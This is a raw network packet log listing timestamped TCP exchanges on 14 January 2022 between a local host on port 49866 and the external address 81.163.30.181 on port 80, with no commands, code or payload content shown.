Jan 14, 2022 20:23:52.744517088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.744584084 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.783262968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.783313036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.783339024 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.783600092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.783680916 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.783777952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.783966064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784100056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784101009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784162045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784204006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784241915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784259081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784281969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784307003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784321070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784363031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784403086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784420013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784445047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784466982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784496069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784537077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784574032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784614086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784648895 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784651995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784671068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784692049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784729958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784733057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784771919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784787893 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784812927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784869909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784888983 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784926891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.784987926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.784991026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785049915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785106897 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785126925 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.785162926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785202980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785242081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.785243988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785283089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785298109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.785321951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785372972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785413027 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785434008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.785451889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785470009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.785491943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785531044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785561085 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785604000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785646915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785681009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.785686970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785726070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785727024 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.785764933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785804033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785841942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785890102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.785912037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785953045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.785990000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.786029100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.786067963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.786103010 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.786106110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.786140919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.786149979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.786200047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.786238909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.786279917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.786295891 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.786319017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.786324978 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.786391973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.801354885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.801398039 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.801561117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.812571049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.846254110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846308947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846347094 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846404076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846420050 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.846442938 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846456051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.846482038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846520901 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846559048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846575975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.846599102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846605062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.846640110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846678019 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846693993 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.846718073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846756935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846793890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846810102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.846834898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846839905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.846873999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846913099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846952915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.846966982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.846991062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847006083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847029924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847069025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847105980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847111940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847145081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847151995 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847183943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847223997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847264051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847270966 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847301006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847306013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847342014 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847383022 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847419977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847435951 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847460032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847465038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847498894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847537994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847578049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847585917 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847615004 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847621918 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847654104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847692966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847700119 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847732067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847769976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847786903 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847809076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847847939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847893000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847896099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847939968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.847942114 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.847979069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848020077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848057032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848064899 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.848095894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848102093 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.848134995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848175049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848215103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848217964 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.848252058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848258972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.848356962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848402977 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848443031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848452091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.848480940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848520041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848536968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.848561049 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848598957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848608017 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.848639011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848669052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.848683119 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.848716974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.858656883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.858704090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.858963966 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.906616926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.906697035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.906737089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.906775951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.906786919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.906816006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.906831026 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.906855106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.906893969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.906933069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.906955957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.906970024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.906991005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907008886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907047033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907087088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907124996 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907125950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907159090 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907164097 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907203913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907231092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907243013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907282114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907320976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907335043 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907360077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907386065 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907403946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907444954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907481909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907506943 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907521009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907550097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907561064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907598972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907638073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907658100 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907675982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907691956 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907716990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907757044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907793999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907818079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907833099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907850027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907872915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907910109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907948017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.907968998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.907987118 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908005953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908026934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908068895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908106089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908144951 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908145905 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908162117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908184052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908221960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908261061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908282042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908298969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908315897 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908339024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908380032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908416986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908438921 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908457994 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908472061 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908499002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908535957 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908575058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908605099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908616066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908632994 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908657074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908696890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908735037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908751011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908773899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908790112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908813953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908852100 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908890963 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908905983 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908931017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.908937931 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.908971071 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.909009933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.909049988 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.909080029 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.909097910 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.915831089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.915877104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.915982008 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.966280937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966448069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966576099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966619015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.966619968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966677904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966717958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966759920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966774940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.966799021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966840029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966880083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966916084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966938972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.966952085 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.966957092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.966996908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967036009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967056036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967077017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967113972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967118025 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967153072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967192888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967216015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967228889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967267036 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967267990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967308044 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967325926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967346907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967389107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967426062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967452049 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967466116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967487097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967508078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967545986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967583895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967603922 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967622995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967649937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967667103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967708111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967724085 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967745066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967786074 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967803955 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967824936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967861891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967902899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967947006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.967966080 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967973948 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.967993975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968033075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968074083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968096972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968113899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968153000 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.968188047 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.968192101 CET	80	49866	81.163.30.181	192.168.2.3
